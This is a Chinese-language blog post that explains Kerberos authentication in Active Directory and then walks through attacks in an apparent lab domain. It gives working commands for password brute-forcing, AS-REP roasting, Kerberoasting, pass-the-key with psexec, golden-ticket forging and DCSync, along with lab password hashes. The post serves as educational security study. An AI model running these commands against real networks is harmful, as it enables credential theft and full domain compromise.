Loading

域内三大协议—Kerberos

https://www.tarlogic.com/blog/how-kerberos-works/

为什么需要了解原理,因为不同攻击方法不同,而有的可用,有的不可用。

简介

什么是 kerberos

和 NTLM 协议一样,Kerberos 是一个认证协议,用来检验是否是某个用户,而不检查用户所具有的权限。

用在 Active Directory 中,在这个平台中,kerberos 提供关于每个用户对应的权限信息,但是确认用户是否有资源访问某些文件却是服务的职责。

术语

  • 传输层:使用 UDP 和 TCP ,由 kerberos 协议提供加密传输,由 KDC 程序监听 88 UDP、TCP 。

    image-20211109114747988

  • 三个方面:多个代理协同来提供认证服务。

    • 用户:想要访问某个服务。
    • AP(Application Server):提供用户所需的服务。
    • KDC(Key Distribution Center):位于 DC 中,是 Kerberos 中主要的服务,负责分发票据,AS(Authentication Service )也支持它,负责分发 TGT。
  • 加密 Key:Kerberos 多种Key,例如ticket。确保不会被第三方篡改,大部分都被加密或签名。

    • KDC 或 krbtgt key ,根据 krbtgt 账户的 NTLM hash 派生。

    • User key ,从 NTML hash 派生。

    • Service Key 从服务所有者的 NTLM hash 派生而来。其可以是 用户或计算机。

    • session key,由 用户和 KDC 共同协商。

    • service session key ,用于用户和服务之间。

  • Ticket:Kerberos 主要处理的结构,这些票据被分发给用户,以便让他们在 kerberos 领域中执行不同操作。有两种ticket。

    • TGS (Ticket Granting Service),用户用于服务验证的票据,被 service key 加密。白银票据。
    • TGT (Ticket Granting Ticket)被提交给 KDC 用于请求 TGSs ,被 KDC key 加密。黄金票据。

    Golden ticket ,比起 Silver ticket ,好处在于可以访问任意的服务。The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (like the PC account hash). Thus, it is possible to gain access to that service by forging a custom TGS as any user (like privileged access to a computer).

  • PAC

    (Privilege Attribute Certificate)是一个几乎包含所有票据的结构。它拥有用户的特权,并使用 KDC key 对其签名。

    服务偶尔可以通过与 KDC 通信来验证 PAC。PAC 验证只包括检查签名,而没有检查用户拥有的特权是否正确。

    进一步,用户可以在请求票据时通过指定 KERB-PA-PAC-REQUEST 字段来避免包含 PAC。

  • Messages:kerberos 使用多种 messages:

    • KRB_AS_REQ: Used to request the TGT to KDC.
    • KRB_AS_REP: Used to deliver the TGT by KDC.
    • KRB_TGS_REQ: Used to request the TGS to KDC, using the TGT.
    • KRB_TGS_REP: Used to deliver the TGS by KDC.
    • KRB_AP_REQ: Used to authenticate a user against a service, using the TGS.
    • KRB_AP_REP: (Optional) Used by service to identify itself against the user.
    • KRB_ERROR: Message to comunicate error conditions.

    img

    img

可能

认证过程

  • KRB_AS_REQ: Used to request the TGT to KDC.
  • KRB_AS_REP: Used to deliver the TGT by KDC.
  • KRB_TGS_REQ: Used to request the TGS to KDC, using the TGT.
  • KRB_TGS_REP: Used to deliver the TGS by KDC.
  • KRB_AP_REQ: Used to authenticate a user against a service, using the TGS.
  • KRB_AP_REP: (Optional) Used by service to identify itself against the user.
  • KRB_ERROR: Message to comunicate error conditions.

img

KRB_AS_REQ

用户必须从 KDC 获得 TGT,因此,用户发送 KRB_AS_REQ 请求。

img

它包含以下字段:

  • 带有客户端密钥的加密时间戳,用来认证用户,并防止重放攻击。
  • 进行认证的用户名
  • 和 krbtgt 账户关联的服务 SPN。
  • 由用户生成的 Nonce。

KRB_AS_REP

KDC 在收到了用户的请求后,KDC 通过在AD 数据库中查找用户密码,用其解密时间戳来确认该用户是否认证成功。如果正确,则回复 KRB_AS_REP

img

包含以下信息:

  • 用户名:
  • TGT:
    • 用户名
    • session key
    • TGT 过期时间
    • 由KDC 进行签名的 PAC
  • 使用用户 key 加密的数据:
    • session key
    • TGT 过期时间
    • 用户 nonce,用于防止重放攻击。

一旦这个步骤完成,用户就拥有了 TGT,它可以用于请求 TGSs 以访问其它服务。

KRB_TGS_REQ

为了请求 TGS,用户向 KDC 发送 KRB_TGS_REQ 消息

img

KRB_TGS_REP

当DC 收到 KRB_TGS_REQ 消息,它将会返回 。。消息,包含 TGS 信息。

img

KRB_AP_REQ

如果正确,那么用户将拥有一个有效的 TGS,为了使用它,用户将会向 AP 发送 KRB_AP_REQ

img

攻击

PTT

Pass The Ticket,是指获取用户的 ticket,并使用它去模拟任意用户。然而,在 ticket 之前,必须先获取 session key,以便使用 ticket。

可以嗅探,但无法获取 session key。

另一个获取 ticket 的方法就是从 lsass 进程中获取,其中也驻留着session key。

能获取到 TGT 更好,因为 TGS 只能用于特定一个服务。

Golden/Silver Ticket

Golden Ticket 用于构建 TGT,有必要从 krbtgt 账户中获取 NTLM hash。

一旦获取到了,就可以自行构建TGT。

此外,尽管用户更改了密码,这个 ticket 仍然有效,TGT 只有过期和krbtgt 账户密码更改才会失效。

Silver Ticket 和此相似,不过它创建的票据是 TGS。需要获取 service key,

Kerberoasting

[Kerberoasting](https://files.sans.org/summit/hackfest2014/PDFs/Kicking the Guard Dog of Hades - Attacking Microsoft Kerberos - Tim Medin(1).pdf) is a technique which takes advantage of TGS to crack the user accounts passwords offline.

As seen above, TGS comes encrypted with service key, which is derived from service owner account NTLM hash. Usually the owners of services are the computers in which the services are being executed. However, the computer passwords are very complex, thus, it is not useful to try to crack those. This also happens in case of krbtgt account, therefore, TGT is not crackable neither.

All the same, on some occasions the owner of service is a normal user account. In these cases it is more feasible to crack their passwords. Moreover, this sort of accounts normally have very juicy privileges. Additionally, to get a TGS for any service only a normal domain account is needed, due to Kerberos not perform authorization checks.

因为 kerberos 是基于 tcp / udp 的,所以也可以使用 socks 代理。cobalstrike 自带的 socks4a 就可以。

Kerberos brute-force

因为 kerberos 是一种认证协议,所以可以尝试进行暴力破解。比起传统的暴力破解,有以下几个好处:

  1. kerberos 可以暗示进行验证的用户名是否存在,由此可以进行用户名枚举。
  2. 认证失败的日志不是以传统的认证失败 4625,而是 4771 日志记录。

暴力破解也有风险,可能会锁定账户。

linux

kerbrute

python3 kerbrute.py -domain god.org -users users.txt -passwords passwords.txt -outputfile currect.txt  -dc-ip 192.168.200.132

image-20211112110322187

它可以确定一个用户是否存在,并且在破解成功的时候额外保存 TGT 票据。

windows

Rubeus Rubeus-Rundll32 dll版本,可以用 rundll32 运行。两个都需要下载源码后自行编译。

# win本地环境
Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:god.org /dc:192.168.3.21 /outfile:currects.txt

exe 版本有点小 bug。dll 版本一直运行不成功。

image-20211112111436996

这个 KDC_ERR_ETYPE_NOTSUPP 报错,其实是猜到了密码。尝试在项目 issues 中搜索,无结果,在 google 搜索,怀疑认证加密算法不支持导致的。在微软官方文档也提醒可能是加密算法的原因。尝试修改kerberos 支持的加密算法,但修改后重启也没有解决。

下面的密码是正确的,如果密码正确,就会出现 KDC_ERR_ETYPE_NOTSUPP ,所以,逐渐缩小密码范围最终也能得到密码。

image-20211111213937538

ASREPRoast

ASREPRoast is similar to Kerberoasting, that also pursues the accounts passwords cracking.

和 kerberoasting 相似,也是密码破解。

ASREPRoast 攻击查找不需要 kerberos 预认证用户。这意味着任何人可以以这些不需要预认证的用户向 KDC 发送 AS_REQ 消息,并接收 AS_REP 消息。AS_REP 消息包含一块加密的数据,这块数据使用这些用户密码的 hash 进行加密。所以,如果获取到了,即可离线破解。

image-20211111184631124

执行该攻击不需要域账户,只需要连接到 kdc。如果拥有域用户,可以使用直接使用 ladp 查询在域中无需 kerberos 预认证的用户。

linux

GetNPUsers.py

# 遍历 usernames.txt 查找中不需要预认证的用户。
proxychains python3 asreproasting/GetNPUsers.py -dc-ip 192.168.3.21 -usersfile users.txt -format hashcat -outputfile asreproasting/hashes.asreproast god.org/

image-20211112105727285

两个用户都必须进行 kerberos 预认证,而最后一个用户名不存在。所以输出的 hashes.asreproast 为空,无法进行此类攻击。

# 从域控中查询不需要预认证的用户。
python3 asreproasting/GetNPUsers.py -dc-ip 192.168.3.21 -format hashcat -outputfile asreproasting/hashes.asreproast god.org/webadmin:admin\!\@\#45

image-20211112105900900

使用 ldap 去域控中查找不需要 kerberos 预认证的用户,但没找到满足条件的用户。

windows

Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast /domain:god.org /dc:192.168.3.21

image-20211112112710642

以当前用户身份使用 ldap 协议去域控中查找,没有查询到满足条件的用户。

破解

hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Kerberoasting

收集在域中以用户身份运行的服务的 TGS 票据,而不是计算机账户。因此,部分 TGS 票据以 用户密码派生的 hash 进行加密。因此,这个也可以离线破解密码。

因此,为了执行这种攻击,必须有一个 域账户,才能请求 TGS。

image-20211112114614920

以用户身份运行的服务是什么呢?

C:\Users\webadmin\Desktop\kerberos>setspn -T god.org -Q */*
Checking domain DC=god,DC=org
CN=OWA2010CN-GOD,OU=Domain Controllers,DC=god,DC=org
        exchangeRFR/OWA2010CN-GOD
        exchangeRFR/OWA2010CN-God.god.org
        exchangeMDB/OWA2010CN-God.god.org
        exchangeMDB/OWA2010CN-GOD
        exchangeAB/OWA2010CN-GOD
        exchangeAB/OWA2010CN-God.god.org
        SMTP/OWA2010CN-GOD
        SMTP/OWA2010CN-God.god.org
        SmtpSvc/OWA2010CN-GOD
        SmtpSvc/OWA2010CN-God.god.org
        ldap/OWA2010CN-God.god.org/ForestDnsZones.god.org
        ldap/OWA2010CN-God.god.org/DomainDnsZones.god.org
        TERMSRV/OWA2010CN-GOD
        TERMSRV/OWA2010CN-God.god.org
        NtFrs-88f5d2bd-b646-11d2-a6d3-00c04fc9b232/OWA2010CN-God.god.org
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/OWA2010CN-God.god.org
        DNS/OWA2010CN-God.god.org
        GC/OWA2010CN-God.god.org/god.org
        RestrictedKrbHost/OWA2010CN-God.god.org
        RestrictedKrbHost/OWA2010CN-GOD
        HOST/OWA2010CN-GOD/GOD
        HOST/OWA2010CN-God.god.org/GOD
        HOST/OWA2010CN-GOD
        HOST/OWA2010CN-God.god.org
        HOST/OWA2010CN-God.god.org/god.org
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/dbfc2e86-abce-4ff6-8c71-4e25a20fa38e/god.org
        ldap/OWA2010CN-GOD/GOD
        ldap/dbfc2e86-abce-4ff6-8c71-4e25a20fa38e._msdcs.god.org
        ldap/OWA2010CN-God.god.org/GOD
        ldap/OWA2010CN-GOD
        ldap/OWA2010CN-God.god.org
        ldap/OWA2010CN-God.god.org/god.org
CN=krbtgt,CN=Users,DC=god,DC=org
        kadmin/changepw
CN=MARY-PC,CN=Computers,DC=god,DC=org
        MSSQLSvc/mary-PC.god.org:1433
        MSSQLSvc/mary-PC.god.org
        RestrictedKrbHost/MARY-PC
        HOST/MARY-PC
        RestrictedKrbHost/MARY-PC.god.org
        HOST/MARY-PC.god.org
CN=JACK-PC,CN=Computers,DC=god,DC=org
        RestrictedKrbHost/JACK-PC
        HOST/JACK-PC
        RestrictedKrbHost/Jack-PC.god.org
        HOST/Jack-PC.god.org
CN=WEBSERVER,CN=Computers,DC=god,DC=org
        MSSQLSvc/WebServer.god.org:1433
        MSSQLSvc/WebServer.god.org
        WSMAN/WebServer
        WSMAN/WebServer.god.org
        TERMSRV/WEBSERVER
        TERMSRV/WebServer.god.org
        RestrictedKrbHost/WEBSERVER
        HOST/WEBSERVER
        RestrictedKrbHost/WEBSERVER.god.org
        HOST/WEBSERVER.god.org
CN=FILESERV,CN=Computers,DC=god,DC=org
        MSSQLSvc/fileserv.god.org:1433
        HOST/FILESERV
        HOST/fileserv.god.org
CN=SQLSERVER,CN=Computers,DC=god,DC=org
        TERMSRV/SQLSERVER
        TERMSRV/SqlServer.god.org
        MSSQLSvc/SqlServer.god.org:1433
        MSSQLSvc/SqlServer.god.org
        WSMAN/SqlServer
        WSMAN/SqlServer.god.org
        RestrictedKrbHost/SQLSERVER
        HOST/SQLSERVER
        RestrictedKrbHost/SqlServer.god.org
        HOST/SqlServer.god.org

Existing SPN found!

linux

GetUserSPNs.py

python3 kerberoast/GetUserSPNs.py god.org/webadmin:admin\!\@\#45 -outputfile kerberoast/hashes.kerberoast -dc-ip 192.168.3.21

image-20211112115810849

没有找到以用户身份运行的服务。

windows

Rubeus.exe kerberoast /outfile:hashes.kerberoast /domain:god.org /dc:192.168.3.21

image-20211112120708312

同样以当前用户身份使用 ldap 去域控中查找,但未找到。

破解 TGS

hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt

PTT

Pass The Hash 是 NTLM 协议中的攻击方式,而 Pass The Ticket 则是 Kerberos 协议中攻击方式。

在 NTLM 中,进行认证的是用户的 Hash;而在 Kerberos 中,进行认证的是用户 Ticket。

和 PTK 类似,只不过是直接使用票据来进行认证。

获取 Ticket

嗅探。

image-20211113121113169

要想利用成功,需要两个部分。第二个部分好解决。因为 Kerberos 协议是基于 TCP/UDP,所以可以执行中间人攻击,嗅探加密后的 TGT。

image-20211113115226564

但是另一个所需的就是 Session Key 即使嗅探到了,也因为无法得知 krbtgt hash 而无法解密。所以这种做法是行不通的。

因此另一种做法是从 lsass 进程内存中获取。

PTK

在 NTLM 协议中进行hash 是进行认证的密码。而在 Kerberos 认证体系中,Ticket 是进行认证的关键。

所以 PTH 和 PTK

在 NTLM 认证中流行的 PTH,在 kerberos 上下文中则是 PTK,如果攻击者获取到了用户的 hash,它便可以在面向。。时模拟他。

用户哈希可以从工作组 SAM 文件中提取。或者DC 的 NTDS.DIT。

这个攻击会使用用户的 NTLM hash 去请求 kerberos 票据,以替代通过 ntlm 传递 hash。

因此,当环境中只支持kerberos 协议,而不支持 NTLM 协议进行认证时,他将会很有用。

为了进行攻击,需要获取用户的 NTLM hash(或者密码),最终可以通过得到的 TGT 以用户的身份访问允许的服务。

linux

python3 ptk/getTGT.py god.org/administrator -hashes :ccef208c6485269c20db2cad21734fe7 -dc-ip 192.168.3.21

image-20211112144934050

获取成功后,这些可以用于 psexec.py smbexec.py wmiexec.py

proxychains python3 ptk/psexec.py god.org/administrator@webserver.god.org -k  -no-pass -dc-ip 192.168.3.21 -target-ip 192.168.3.31 -debug

image-20211112165638531

  1. 时区问题
  2. 使用代理,要明确指定 ip -dc-ip -target-ip

windows

Rubeus.exe asktgt /domain:god.org /user:administrator /rc4:ccef208c6485269c20db2cad21734fe7 /ptt

image-20211112173321966

https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

PsExec.exe -accepteula \\webserver.god.org cmd

image-20211112180036956

这个东西只能访问 dc?

猜测 TGT 票据,只能用来与域控通讯。错,不能和执行命令的本机通讯。

After injecting the ticket of a user account, it is possible to act on behalf of that user in remote machines, but not in the local one, where Kerberos doesn’t apply. Remember that TGT tickets are more useful than TGS ones, as they are not restricted to one service only.

Silver ticket

银票据攻击基于当拥有目标账户的 NTLM hash 时,可以起草一个指定服务的 TGS。因此,通过自定义最大权限的 TGS,从而可以访问指定的服务。

在这种场景下,有可能起草一个 TGS 以便通过 SMB 获取目标的管理员权限。同时,有可能强制 票据,使用 AES kerberos key。它同样从 计算而来。

可以在拥有 ntlm hash情况下,以及在拥有 kerberos key 的情况下进行计算。

Golden ticket

黄金票据攻击。伪造 TGT,TGT 功能就是用来请求 TGS 的,所以我们伪造的 TGT 必须也能够成功请求 TGS。参考请求 TGS 的数据包。

image-20211113145802514

其中第二个部分是将上一步 KRB_AS_REP 消息中直接挪过来。

image-20211113150248415

而第一个部分则只有解密 TGT,获取其中的 Session key 才可以进行伪造。解密就需要 krbtgt 用户的 NTLM hash,而这个 hash 只有域管理员才有权限获取。所以

票据只会在超过失效时间以及 krbtgt 用户密码更改而失效。

linux

创建凭证。

krbtgt ntlm hash 如何而来。

  1. 通过 mimikatz dcsync 获取。

    通过模拟域控制器,向域控查询密码信息。

    mimikatz lsadump::dcsync /user:krbtgt
    

    image-20211113153500739

  2. 通过 mimikatz lsa

    privilege::debug
    lsadump::lsa /inject /name:krbtgt
    

    但必须在域控上执行。

  3. meterpreter hashdump

    meterpreter > hashdump
    

    在具有域控的 meterpreter session 时,可以执行 hashdump 命令来获取。

  4. meterpreter dcsync

    # 加载 kiwi mimikatz 扩展
    load kiwi
    dcsync_ntlm krbtgt
    
# mimikatz
lsadump::lsa /inject /name:krbtgt
python3 SilverGolden/ticketer.py -nthash b097d7ed97495408e1537f706c357fc5 -domain-sid S-1-5-21-1218902331-2157346161-1782232778 -domain god.org myprivateuser

不需要代理。

用户名即使不存在,也照样可以使用。

Domain sid  whoami /all
S-1-5-21-1218902331-2157346161-1782232778

其它一些攻击技术

DCSync

DCSync是域渗透中经常会用到的技术。

一般用来导HASH的,比如mimikatz等被杀的情况

原理

模仿一个域控制器DC,从真实的域控制器中请求获取数据,例如账号的口令散列值等数据。在域内,不同DC之间,每15分钟都会有一次域数据的同步。实现不登录到域控制器上,而获取域控制器数据库中的数据。

DCSync之前,为了获取域的账号口令信息,一般需要登录域服务器,在域服务器上运行代码才可以获取。

DCSync的最大特点,在于不用登陆域服务器,即可远程通过域数据同步复制的方式获得想要的用户口令信息。

需要注意的是,DCSync攻击的对象如果是RODC域控制器(只读域控制器 ),则会失效,因为RODC是不能参与复制同步数据到其他DC的。

DCSync的原理非常清晰,利用域控制器之间的数据同步复制:

  • 发现网络中的目标域控制器
  • 通过DRS服务的GetNCChanges接口发起数据同步请求,Directory Replication Service(DRS)Remote Protocol

DCSync 需要什么权限

  • 复制目录更改Replicating Directory Changes (DS-Replication-Get-Changes)
  • 复制目录更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是这个)
  • 正在复制筛选集中的目录更改Replicating Directory Changes In Filtered Set (rare, only required in some environments)

image-20211114153842244

DCSync 利用

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity zhangs -Rights DCSync
# 然后使用zhangs进行DCSync
.\mimikatz.exe "lsadump::dcsync /user:test\krbtgt" "exit"

DCSync攻击检测

可以在网络设备上检测来自白名单以外的域控制器数据同步复制。

posted @ 2023-02-21 13:21  沉云  阅读(564)  评论(0编辑  收藏  举报